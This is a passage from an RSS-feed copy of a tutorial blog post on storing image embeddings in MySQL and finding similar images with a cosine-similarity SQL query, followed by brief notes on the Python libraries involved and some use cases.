0.17843754589557648, -0.041389890015125275, -0.206215500831604, 0.8713011741638184, 0.10298433899879456, 0.8146358132362366, 0.5424628257751465, 0.2975153625011444, -0.013563252985477448, 0.13421256840229034, -0.3498159945011139, -0.3292694687843323, -0.2611740529537201, 0.026821553707122803, -0.4656805992126465, 0.733379602432251, 0.09556902945041656, 0.031042248010635376, 0.3466207981109619, 0.470894992351532, -0.24531006813049316, 0.09481766074895859, -0.07527203112840652, -0.3095394968986511, 0.6393522024154663, -0.09749913960695267, -0.11673454940319061, -0.17871969938278198, -0.1564812809228897, 0.2511930465698242, -0.13378417491912842, 0.17615115642547607, -0.06127139925956726, -0.04496309161186218, -0.35364609956741333, -0.08319900929927826, 0.14410080015659332, -0.2627147138118744, 0.9161733388900757, 0.37756675481796265, 0.1632954180240631, 0.0905647948384285, -0.10490548610687256, 0.33364954590797424, -0.05363786220550537, -0.6529805064201355, 0.26767054200172424, 0.26338034868240356, -1.0595732927322388, -0.22944216430187225, -0.26375362277030945, -0.1988820880651474, -0.12509888410568237, 0.24070680141448975, -0.2588941156864166, -0.33498746156692505, 0.126882404088974, 0.17642360925674438, 0.040883928537368774, -0.0052263736724853516, -0.16343313455581665, 0.0562138706445694, 0.2096858024597168, 0.09584870934486389, -0.11106163263320923, 0.1729261875152588, 0.20461152493953705, 0.12263501435518265, 0.27892982959747314, -0.6255460381507874, -0.764202892780304, 0.14997950196266174, 0.16245627403259277, -0.37481117248535156, -0.06923999637365341, 0.6191018223762512, -0.2948871850967407, 0.261602520942688, -0.04764917492866516, -0.15079966187477112, -0.5841816067695618, 0.21257054805755615, -0.21506810188293457, -0.04135539382696152, 0.5817644596099854, 0.12262402474880219, 0.42174848914146423, 0.1265665739774704, 0.01666194200515747, 0.13379910588264465, -0.5832018256187439, -0.3252071738243103, 0.22216439247131348, 0.4046194851398468, 0.20799392461776733, -0.07600507140159607, -0.3153631389141083, -0.10026045888662338, 0.2151670753955841, -0.15998244285583496, -0.498496949672699, -0.04490187019109726, -0.3262564539909363, 0.2954603433609009, -0.07442381978034973, 0.24110326170921326, 0.17248889803886414, 0.45136961340904236, 0.13689523935317993, -0.4876601994037628, 0.050953567028045654, -0.5781422853469849, 0.39940330386161804, 0.08282990008592606, 0.12615060806274414, -0.29397282004356384, -0.1800389140844345, 0.6491589546203613, -0.46026864647865295, 0.35799282789230347, -0.2924331724643707, -0.43013110756874084, -0.3808341324329376, 0.55094313621521, 0.03232079744338989, -0.462185800075531, -0.313692569732666, 0.07338142395019531, 0.16393449902534485, -0.039127856492996216, 0.6098682880401611, -0.16981320083141327, -0.35463374853134155, -0.4267345666885376, -0.09102936089038849, 1.8269031047821045, 0.20107018947601318, 0.15080709755420685, 0.3966326117515564, 0.14836283028125763, 0.43229472637176514, -0.12651363015174866, 0.008955806493759155, -0.02638685703277588, 0.13089591264724731, 0.07453787326812744, -0.26478222012519836, -0.22489425539970398, 0.24618230760097504, 0.17845292389392853, -0.0707186758518219, -0.062373995780944824, -0.06923562288284302, 0.47168073058128357, -0.07979298382997513, -0.07240656018257141, 0.20423418283462524, 0.4307517111301422, -0.9086780548095703, 0.40964275598526, -0.23126669228076935, -0.28451400995254517, -0.020541366189718246, 0.2600404620170593, -0.10833749175071716, 0.036447957158088684, -0.36018478870391846, -0.12711986899375916, 0.2606499195098877, 0.2881711423397064, 0.7029435634613037, -0.1414911448955536, -0.0848516896367073, 0.3585105538368225, -0.04511311650276184, 0.24639412760734558, 0.4116198420524597, -0.4193349778652191, 0.5370025038719177, 0.4218825697898865, 0.03302404284477234, 0.04051119089126587, -0.4930671155452728, 0.12944979965686798, 0.8145080804824829, -0.49908819794654846, 0.19380804896354675, 0.09682479500770569, 0.4217352271080017, -0.5215371251106262, -0.06526830792427063, -0.26663315296173096, 0.2522737979888916, 1.213325023651123, 0.0012408196926116943, -0.2426946759223938, -0.28965428471565247, -0.3634025752544403, -0.13846488296985626, -0.3301095962524414, -0.12310884147882462, -0.03835451602935791, -0.7434549331665039, 0.24088844656944275, -0.17097029089927673, -0.13022029399871826, -0.007050663232803345, 0.06718186289072037, 0.45522329211235046, 0.10973918437957764, 0.012622185051441193, 0.16777338087558746, -0.05771467462182045, 0.19996578991413116, -0.24137984216213226, 0.24456733465194702, -0.11382054537534714, 0.010699808597564697, 0.19115638732910156, -0.0028515905141830444, -0.09564647823572159, 0.09341803193092346, 0.2944413125514984, 0.23297476768493652, -0.17356669902801514, 0.39457371830940247, -0.31496915221214294, 0.23409241437911987, -0.12645113468170166, -0.6129994988441467, -0.15042293071746826, -0.26337844133377075, 0.3586566150188446, 0.015362411737442017, -0.1516532152891159, 0.22309523820877075, -1.4553773403167725, 0.622140645980835, -0.5070102214813232, -0.7885435223579407, 0.1319749355316162, -0.446965754032135, -0.16092371940612793, 0.3529052436351776, 0.007851272821426392, 0.09744635224342346, 0.20603105425834656, -0.08496123552322388, 0.3391745984554291, 0.0328497439622879, 1.0089284181594849, 0.3865002393722534, 0.8738011121749878, 0.06040278077125549, -0.015890859067440033, -0.21144962310791016, 0.5995208621025085, 0.32733339071273804, 0.9662830829620361, 0.3483368158340454, 0.08898067474365234, 0.887071430683136, 0.3696739375591278, 0.19864115118980408, 0.03314075618982315, 0.03536325320601463, -0.12863528728485107, 0.06904687732458115, -0.24006515741348267, -0.012378469109535217, -0.5082074403762817, -0.7163709402084351, -0.1123851016163826, 0.010127410292625427, 0.4355129599571228, -0.6237277984619141, 0.2890245020389557, 0.5209721326828003, -0.15595661103725433, 0.08429825305938721, 0.09569454938173294, -0.23599457740783691, -0.16896066069602966, -0.004924099892377853, 0.6319135427474976, 0.4765503704547882, 0.01589702069759369, -0.05348372459411621, 0.055996619164943695, -0.5671727657318115, 0.15062867105007172, -0.5092383623123169, -0.058769792318344116, 0.09755947440862656, 0.2507498860359192, 0.08485430479049683, 0.0793701708316803, 0.021087057888507843, -0.5461320281028748, 0.304355651140213, -0.7253096699714661, 0.6294398307800293, -0.3105747103691101, 0.3905089199542999, 0.2852843105792999, -0.07321953773498535, 0.023653872311115265, -0.37693509459495544, 0.2675110697746277, 0.04210440814495087, 0.09981885552406311, -0.20424491167068481, 0.3030926287174225, 0.026748113334178925, 0.5781193375587463, 0.00048617273569107056, -0.1131657287478447, 0.2036598026752472, -0.2140207141637802, -0.011482134461402893, -0.2234390377998352, -0.43609818816185, -0.504375696182251, -0.01408250629901886, -0.06268232315778732, -0.3341209888458252, 0.29185229539871216, -0.2411029040813446, 0.5522151589393616, -0.06291865557432175, -0.3783164620399475, -0.2328968197107315, -0.3904339075088501, -0.11180463433265686, -0.16056767106056213, -0.16029603779315948, -0.2223338484764099, 0.33838483691215515, -0.23742935061454773, 0.12314961105585098, -0.5309375524520874, -0.07631200551986694, 0.35636740922927856, 0.17236372828483582, 0.19029422104358673, -0.1397394984960556, 0.5870028734207153, -0.4097609221935272, 0.15144716203212738, 0.003988280892372131, -0.05234433710575104, -0.2421717643737793, -0.006953790783882141, -0.5565206408500671, 0.06222153455018997, -0.07391542196273804, 0.40786826610565186, -0.04986128211021423, -0.285273939371109, -0.1444988250732422, 0.024988561868667603, -0.3689330816268921, -0.40285810828208923, -0.10759894549846649, -0.0395619198679924, 0.01536903902888298, 0.0707881823182106, 0.22722786664962769, 0.2506854236125946, 0.023645572364330292, -0.14591404795646667, 0.09581179171800613, -0.12541484832763672, 0.03997009992599487, -0.02025282382965088, -0.23364081978797913, 0.3128877580165863, 0.12357562780380249, -0.1596986949443817, 0.22576884925365448, -0.14733293652534485, 0.24771124124526978, 0.0026986300945281982, 0.5146662592887878]');

SELECT image_name,
       (my_dot_product(embedding, @target) / (my_vec_norm(embedding) * my_vec_norm(@target))) AS similarity
FROM image_embeddings
ORDER BY similarity DESC
LIMIT 5;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Example output:&lt;br&gt;
&lt;code&gt;+------------+--------------------+&lt;br&gt;
| image_name | similarity         |&lt;br&gt;
+------------+--------------------+&lt;br&gt;
| img/t3.jpg | 1.0000000040388952 |&lt;br&gt;
| img/t2.jpg | 0.9667246382795552 |&lt;br&gt;
| img/t1.jpg | 0.9642200115094365 |&lt;br&gt;
| img/t4.jpg | 0.9213785475357513 |&lt;br&gt;
+------------+--------------------+&lt;/code&gt;&lt;br&gt;
In this example, the target image is most similar to t3.jpg.&lt;/p&gt;

&lt;h2&gt;
  
  
  Source Code
&lt;/h2&gt;

&lt;p&gt;All source files are available on GitHub:&lt;br&gt;
&lt;a href="https://github.com/knowledgebase21st/Software-Engineering/tree/dev/AI" rel="noopener noreferrer"&gt;GIT Source Codes&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Role of the Libraries Used
&lt;/h2&gt;

&lt;h4&gt;
  
  
  NumPy
&lt;/h4&gt;

&lt;p&gt;Handles:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;arrays&lt;/li&gt;
&lt;li&gt;matrix operations&lt;/li&gt;
&lt;li&gt;linear algebra&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  PyTorch
&lt;/h4&gt;

&lt;p&gt;Used for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;building neural networks&lt;/li&gt;
&lt;li&gt;defining layers (Linear, CNN, Transformer)&lt;/li&gt;
&lt;li&gt;training models&lt;/li&gt;
&lt;li&gt;GPU acceleration&lt;/li&gt;
&lt;li&gt;backpropagation&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  sentence-transformers
&lt;/h4&gt;

&lt;p&gt;This library converts text or images into dense vector embeddings using deep neural networks.&lt;br&gt;
Internally the process is:&lt;br&gt;
&lt;code&gt;Input → Transformer Model → Embedding Vector&lt;br&gt;
&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Pillow
&lt;/h4&gt;

&lt;p&gt;Pillow is a Python library for image processing.&lt;br&gt;
Before an image is passed to a neural network, it usually undergoes preprocessing such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;loading&lt;/li&gt;
&lt;li&gt;resizing&lt;/li&gt;
&lt;li&gt;cropping&lt;/li&gt;
&lt;li&gt;normalization&lt;/li&gt;
&lt;li&gt;converting to tensors&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Pillow helps perform these operations.&lt;/p&gt;

&lt;h2&gt;
  
  
  Real-World Use Cases
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Images stored as vectors could be useful for many real world applications&lt;/li&gt;
&lt;li&gt;Search Image: Find similar images&lt;/li&gt;
&lt;li&gt;Ecommerce: Find visually similar products&lt;/li&gt;
&lt;li&gt;Check Duplicity: Detect very similar or duplicate image&lt;/li&gt;
&lt;li&gt;Prohibited Image: Identify prohibited or restricted image&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Tested with:
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;- Python 3.12  
- MySQL 9.x  
- sentence-transformers  
- PyTorch
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Vector embeddings enable powerful capabilities such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;semantic search&lt;/li&gt;
&lt;li&gt;image similarity detection&lt;/li&gt;
&lt;li&gt;recommendation systems&lt;/li&gt;
&lt;li&gt;multimodal AI applications
With modern databases like MySQL supporting vector storage, it becomes possible to build AI-powered search systems directly inside the database layer.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>python</category>
      <category>vectordatabase</category>
      <category>mysql</category>
      <category>machinelearning</category>
    </item>
  </channel>
</rss>
